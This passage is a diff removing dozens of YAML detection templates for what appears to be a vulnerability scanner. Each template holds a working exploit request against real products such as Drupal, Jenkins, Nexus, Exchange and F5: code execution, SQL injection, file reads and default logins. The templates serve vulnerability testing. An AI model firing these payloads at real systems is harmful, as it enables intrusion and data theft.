response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53")
detail:
Affected Version: "Drupal < 7.32"
links:
- https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
-19
View File
@@ -1,19 +0,0 @@
name: poc-yaml-drupal-cve-2018-7600-rce
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
@@ -1,29 +0,0 @@
name: poc-yaml-drupal-cve-2018-7600-rce
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
search: |
name="form_build_id"\s+value="(?P<build_id>.+?)"
expression: |
response.status == 200
- method: POST
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
-33
View File
@@ -1,33 +0,0 @@
name: poc-yaml-drupal-cve-2019-6340
set:
host: request.url.host
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: /node/?_format=hal_json
headers:
Content-Type: application/hal+json
Accept: '*/*'
body: |
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://{{host}}/rest/type/shortcut/default"
}
}
}
follow_redirects: true
expression: |
response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
detail:
author: thatqier
links:
- https://github.com/jas502n/CVE-2019-6340
- https://github.com/knqyf263/CVE-2019-6340
@@ -1,28 +0,0 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
search: |
name="form_build_id"\s+value="(?P<build_id>.+?)"
expression: |
response.status == 200
- method: POST
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 7
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
@@ -1,20 +0,0 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 8
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
-13
View File
@@ -1,13 +0,0 @@
name: poc-yaml-ecology-sqli
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
author: whami-root(https://github.com/whami-root)
links:
- https://github.com/whami-root
-17
View File
@@ -1,17 +0,0 @@
name: poc-yaml-ecology-validate-sqli
set:
r1: randomInt(8000, 9999)
r2: randomInt(800, 1000)
rules:
- method: POST
path: /cpt/manage/validate.jsp?sourcestring=validateNum
body: >-
sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: fuping
links:
- https://news.ssssafe.com/archives/3325
- https://www.weaver.com.cn/cs/securityDownload.asp
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,13 +0,0 @@
name: poc-yaml-ecshop-cnvd-2020-58823-sqli
set:
r1: randomInt(40000, 44800)
rules:
- method: POST
path: /delete_cart_goods.php
body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))
expression: |
response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
detail:
author: 凉风(http://webkiller.cn/)
links:
- https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw
-17
View File
@@ -1,17 +0,0 @@
name: poc-yaml-ecshop-rce
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /user.php
headers:
Referer: >-
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Content-Type: application/x-www-form-urlencoded
body: action=login&pp123=printf({{r1}}*{{r2}});
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: 凉风(http://webkiller.cn/)
links:
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
-17
View File
@@ -1,17 +0,0 @@
name: poc-yaml-ecshop-rce
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: /user.php
headers:
Referer: >-
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
Content-Type: application/x-www-form-urlencoded
body: action=login&pp123=printf({{r1}}*{{r2}});
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: 凉风(http://webkiller.cn/)
links:
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
-16
View File
@@ -1,16 +0,0 @@
name: poc-yaml-elasticsearch-unauth
rules:
- method: GET
path: /
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
- method: GET
path: /_cat
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"/_cat/master")
detail:
author: p0wd3r
links:
- https://yq.aliyun.com/articles/616757
@@ -1,14 +0,0 @@
name: poc-yaml-exchange-cve-2021-26855-ssrf
rules:
- method: GET
path: /owa/auth/x.js
headers:
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
follow_redirects: false
expression: |
"X-CalculatedBETarget" in response.headers && response.headers["X-CalculatedBETarget"].icontains("localhost")
detail:
author: sharecast
Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010"
links:
- https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-eyou-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /webadm/?q=moni_detail.do&action=gragh
headers:
Content-Type: application/x-www-form-urlencoded
body: type='|expr {{r1}} + {{r2}}||'
expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
@@ -1,16 +0,0 @@
name: poc-yaml-f5-tmui-cve-2020-5902-rce
rules:
- method: POST
path: >-
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
headers:
Content-Type: application/x-www-form-urlencoded
body: fileName=%2Fetc%2Ff5-release
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"BIG-IP release")
detail:
author: Jing Ling
links:
- https://support.f5.com/csp/article/K52145254
- https://github.com/rapid7/metasploit-framework/pull/13807/files
-13
View File
@@ -1,13 +0,0 @@
name: poc-yaml-fangweicms-sqli
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: Rexus
Affected Version: "4.3"
links:
- http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
@@ -1,11 +0,0 @@
name: poc-yaml-finereport-v8-arbitrary-file-read
rules:
- method: GET
path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA")
detail:
author: Facker007(https://github.com/Facker007)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-flir-ax8-file-read
rules:
- method: GET
path: "/download.php?file=/etc/passwd"
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Print1n(http://print1n.top)
links:
- https://juejin.cn/post/6961370156484263972
@@ -1,15 +0,0 @@
name: poc-yaml-gitlab-cnvd-2021-14193-infoleak
rules:
- method: POST
path: /api/graphql
headers:
Content-Type: application/json
body: >-
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
follow_redirects: false
expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("avatarUrl"))
detail:
author: 说书人(http://python.vin/)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
@@ -1,10 +0,0 @@
name: poc-yaml-h3c-secparh-any-user-login
rules:
- method: GET
path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
expression: |
response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body))
detail:
author: Print1n(https://print1n.top)
links:
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-hikvision-cve-2017-7921
rules:
- method: GET
path: /system/deviceInfo?auth=YWRtaW46MTEK
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"<firmwareVersion>") && response.headers["content-type"] == "application/xml"
detail:
author: whwlsfb(https://github.com/whwlsfb)
links:
- https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-iis-put-getshell
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
- method: PUT
path: /{{filename}}.txt
body: |
{{fileContent}}
expression: |
response.status == 201
- method: GET
path: /{{filename}}.txt
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: Cannae(github.com/thunderbarca)
links:
- https://www.cnblogs.com/-mo-/p/11295400.html
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-jboss-cve-2010-1871
set:
r1: randomInt(8000000, 10000000)
r2: randomInt(8000000, 10000000)
rules:
- method: GET
path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"].contains(string(r1 * r2))
detail:
author: fuping
links:
- http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-jboss-unauth
rules:
- method: GET
path: /jmx-console/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://xz.aliyun.com/t/6103
@@ -1,14 +0,0 @@
name: poc-yaml-jenkins-cve-2018-1000861-rce
set:
rand: randomLowercase(4)
rules:
- method: GET
path: >-
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
follow_redirects: false
expression: >-
response.status == 200 && response.body.bcontains(bytes("package#" + rand))
detail:
author: p0wd3r
links:
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
@@ -1,21 +0,0 @@
name: poc-yaml-jenkins-unauthorized-access
set:
r1: randomInt(1000, 9999)
r2: randomInt(1000, 9999)
rules:
- method: GET
path: /script
follow_redirects: false
expression: response.status == 200
search: |
"Jenkins-Crumb", "(?P<var>.+?)"\);
- method: POST
path: /script
body: |
script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
detail:
author: MrP01ntSun(https://github.com/MrPointSun)
links:
- https://www.cnblogs.com/yuzly/p/11255609.html
- https://blog.51cto.com/13770310/2156663
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-jumpserver-unauth-rce
set:
r1: randomLowercase(5)
rules:
- method: GET
path: /api/v1/authentication/connection-token/
follow_redirects: false
expression: |
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
- method: GET
path: /api/v1/authentication/connection-token/?user-only={{r1}}
follow_redirects: false
expression: |
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
detail:
author: mvhz81
info: jumpserver unauth read logfile + jumpserver rce
links:
- https://s.tencent.com/research/bsafe/1228.html
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-jumpserver-unauth-rce
set:
r1: randomLowercase(5)
rules:
- method: GET
path: /api/v1/users/connection-token/
follow_redirects: false
expression: |
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
- method: GET
path: /api/v1/users/connection-token/?user-only={{r1}}
follow_redirects: false
expression: |
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
detail:
author: mvhz81
info: jumpserver unauth read logfile + jumpserver rce
links:
- https://s.tencent.com/research/bsafe/1228.html
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
@@ -1,12 +0,0 @@
name: poc-yaml-kingsoft-v8-default-password
rules:
- method: POST
path: /inter/ajax.php?cmd=get_user_login_cmd
body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}"
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://idc.wanyunshuju.com/aqld/2123.html
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-kingsoft-v8-file-read
rules:
- method: GET
path: >-
/htmltopdf/downfile.php?filename=/windows/win.ini
follow_redirects: false
expression: |
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip")
detail:
author: kzaopa(https://github.com/kzaopa)
links:
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
@@ -1,11 +0,0 @@
name: poc-yaml-landray-oa-custom-jsp-fileread
rules:
- method: POST
path: /sys/ui/extend/varkind/custom.jsp
body: var={"body":{"file":"file:///c://windows/win.ini"}}
expression: |
response.status == 200 && response.body.bcontains(b"for 16-bit app support")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
@@ -1,11 +0,0 @@
name: poc-yaml-landray-oa-custom-jsp-fileread
rules:
- method: POST
path: /sys/ui/extend/varkind/custom.jsp
body: var={"body":{"file":"file:///etc/passwd"}}
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
@@ -1,12 +0,0 @@
name: poc-yaml-lanproxy-cve-2021-3019-lfi
rules:
- method: GET
path: "/../conf/config.properties"
expression: |
response.status == 200 && response.body.bcontains(bytes(string(b"config.admin.username"))) && response.body.bcontains(bytes(string(b"config.admin.password"))) && response.content_type.contains("application/octet-stream")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
Affected Version: "lanproxy 0.1"
links:
- https://github.com/ffay/lanproxy/issues/152
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-laravel-debug-info-leak
rules:
- method: POST
path: /
follow_redirects: false
expression: >
response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment &amp; details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php"))
detail:
author: Dem0ns (https://github.com/dem0ns)
links:
- https://github.com/dem0ns/improper/tree/master/laravel/5_debug
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-laravel-improper-webdir
rules:
- method: GET
path: /storage/logs/laravel.log
follow_redirects: false
expression: >
response.status == 200 && (response.content_type.contains("plain") || response.content_type.contains("octet-stream")) && (response.body.bcontains(b"vendor\\laravel\\framework") || response.body.bcontains(b"vendor/laravel/framework")) && (response.body.bcontains(b"stacktrace") || response.body.bcontains(b"Stack trace"))
detail:
author: Dem0ns (https://github.com/dem0ns)
links:
- https://github.com/dem0ns/improper
@@ -1,21 +0,0 @@
name: poc-yaml-mongo-express-cve-2019-10758
set:
reverse: newReverse()
reverseURL: reverse.url
rules:
- method: POST
path: /checkValid
headers:
Authorization: Basic YWRtaW46cGFzcw==
body: >-
document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}')
follow_redirects: true
expression: >
reverse.wait(5)
detail:
vulnpath: '/checkValid'
author: fnmsd(https://github.com/fnmsd)
description: 'Mongo Express CVE-2019-10758 Code Execution'
links:
- https://github.com/masahiro331/CVE-2019-10758
- https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html
-18
View File
@@ -1,18 +0,0 @@
name: poc-yaml-netentsec-ngfw-rce
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
r3: randomInt(800000000, 1000000000)
r4: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /directdata/direct/router
body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
expression: response.status == 200
- method: GET
path: /{{r2}}
expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4)))
detail:
author: jingling(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
File diff suppressed because one or more lines are too long
-21
View File
@@ -1,21 +0,0 @@
name: poc-yaml-nexus-cve-2020-10199
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: "/rest/beta/repositories/go/group"
headers:
Content-Type: application/json
body: |
{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ {{r1}} * {{r2}} }"]}}
expression: |
response.status == 400 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
Affected Version: "nexus<3.21.2"
author: kingkk(https://www.kingkk.com/)
links:
- https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
- https://www.cnblogs.com/magic-zero/p/12641068.html
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
-20
View File
@@ -1,20 +0,0 @@
name: poc-yaml-nexus-cve-2020-10204
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
rules:
- method: POST
path: "/extdirect"
headers:
Content-Type: application/json
body: |
{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
Affected Version: "nexus<3.21.2"
author: kingkk(https://www.kingkk.com/)
links:
- https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
- https://www.cnblogs.com/magic-zero/p/12641068.html
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
-22
View File
@@ -1,22 +0,0 @@
name: poc-yaml-nexus-default-password
rules:
- method: GET
path: /nexus/service/siesta/capabilities
expression: >
response.status == 401
- method: GET
path: /nexus/service/local/authentication/login
headers:
Accept: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
expression: >
response.status == 200
- method: GET
path: /nexus/service/siesta/capabilities
expression: >
response.status == 200
detail:
author: Soveless(https://github.com/Soveless)
Affected Version: "Nexus Repository Manager OSS"
links:
- https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager
@@ -1,11 +0,0 @@
name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
rules:
- method: GET
